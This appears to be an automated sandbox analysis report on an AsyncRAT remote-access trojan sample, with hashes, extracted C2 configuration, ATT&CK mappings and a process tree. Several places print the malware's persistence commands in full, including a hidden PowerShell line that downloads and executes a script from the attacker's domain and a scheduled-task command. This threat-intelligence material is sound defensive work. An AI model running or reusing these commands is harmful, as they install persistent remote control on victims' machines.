asyncrat | cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/08/2026, 03:17

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General

Target
cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
Size 149KB
Sample260827-ds91eaxte1
SHA256 cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608
MD5 0c53a6aa74c343662829fc943fbad66b
SHA1 be80b47046ca405443756bfc11262344655071a0
SHA512 6291821d5adf9c0f26331f1dfe76d209997bb0c996f69a49f8a997a6326deec33ef80fde1020dcfbd2d1b5a9612daba83e1dc82687e6e3a5050f27edc9bb2d78
SSDEEP 3072:AUDj783bnQUKhAeoW4h9PX3/lO6qQKXN9KyNGyAXyVZty:w3bsop1X3dOSKd9x8B
TLSH
T15BE3E1503BEC812AF1BE4B785DF211409EB9F6636917CE4E5DC411D91A22B818E533EF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://bestbetting.bet/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

bestbetting.bet:8080
bestbetting.bet:443
bestbetting.bet:80
c2.bestbetting.bet:8080
c2.bestbetting.bet:443
c2.bestbetting.bet:80
www.bestbetting.bet:8080
www.bestbetting.bet:443
www.bestbetting.bet:80

Mutex

8sdcZuGKmmzi

Attributes

delay
3
install
true
install_file
tele@engineer_at_meta.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000a00000001e119-23.dat	family_asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3696	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	tele@engineer_at_meta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	tele@engineer_at_meta.exe

Executes dropped EXE 2 IoCs

pid	Process
4536	tele@engineer_at_meta.exe
4176	tele@engineer_at_meta.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OkDailyUpdateService = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OkDailyUpdateService = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OkDailyUpdateService = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3840	cmd.exe
1792	cmd.exe
3852	cmd.exe
4352	cmd.exe
1068	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tele@engineer_at_meta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tele@engineer_at_meta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2772	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1440	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	4536	tele@engineer_at_meta.exe
Token: SeDebugPrivilege	4176	tele@engineer_at_meta.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 3840	2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe	86
PID 3840 wrote to memory of 4884	3840	cmd.exe	88
PID 2004 wrote to memory of 1792	2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe	105
PID 2004 wrote to memory of 3852	2004	cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe	107
PID 1792 wrote to memory of 1440	1792	cmd.exe	109
PID 3852 wrote to memory of 2772	3852	cmd.exe	110
PID 3852 wrote to memory of 4176	3852	cmd.exe	113
PID 4536 wrote to memory of 4352	4536	tele@engineer_at_meta.exe	114
PID 4352 wrote to memory of 3240	4352	cmd.exe	117
PID 4176 wrote to memory of 1068	4176	tele@engineer_at_meta.exe	118
PID 1068 wrote to memory of 4284	1068	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe
"C:\Users\Admin\AppData\Local\Temp\cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4884
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1440
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp16CB.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2772
- - C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
    "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4176
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1068
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bestbetting.bet/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_1mnzerbh.zjr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1mnzerbh.zjr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmp16CB.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp16CB.tmp.bat
Size 165B
SHA256 7b03b0ab2984648a93a7fcf7cfaf07833e879f2ae8cea09ae05d16538bc3dde0
MD5 c0316462b2a31106333a10a37a879753
SHA1 d139ae1e8f7d6ff79e4a96fb404e69d63e56afca
SHA512 3f184052174dabd7aba194ffce90e880677eb5d22fb66dc3ed4fdd6c1fbfafd3437961f7cd4c53b2a93d98442feda0552af3d0f480e9d0dd15cd54308c417b4c
TLSH
T14EC0805151C59A1D150B651315FF96CD91B168563F40E710974444193640584F09D345
MD5 SHA1 SHA512 TLSH

Submit Download

tele@engineer_at_meta.exe

Path C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
Size 149KB
SHA256 cd77622794555b457b36f12cbd505f0a93bb9a2bc079744db7b7b1082f9b6608
MD5 0c53a6aa74c343662829fc943fbad66b
SHA1 be80b47046ca405443756bfc11262344655071a0
SHA512 6291821d5adf9c0f26331f1dfe76d209997bb0c996f69a49f8a997a6326deec33ef80fde1020dcfbd2d1b5a9612daba83e1dc82687e6e3a5050f27edc9bb2d78
SSDEEP 3072:AUDj783bnQUKhAeoW4h9PX3/lO6qQKXN9KyNGyAXyVZty:w3bsop1X3dOSKd9x8B
TLSH
T15BE3E1503BEC812AF1BE4B785DF211409EB9F6636917CE4E5DC411D91A22B818E533EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2004-0-0x0000000000C70000-0x0000000000C9C000-memory.dmp

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memory/2004-1-0x00000000056D0000-0x00000000056E0000-memory.dmp

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memory/2004-16-0x00000000056D0000-0x00000000056E0000-memory.dmp

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memory/2004-17-0x00000000064E0000-0x000000000657C000-memory.dmp

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memory/3696-3-0x0000029F6DB50000-0x0000029F6DB60000-memory.dmp

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memory/3696-2-0x0000029F6DB50000-0x0000029F6DB60000-memory.dmp

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memory/3696-11-0x0000029F6E690000-0x0000029F6E6B2000-memory.dmp

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memory/3696-12-0x0000029F6DB50000-0x0000029F6DB60000-memory.dmp

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memory/3696-13-0x0000029F6DB50000-0x0000029F6DB60000-memory.dmp

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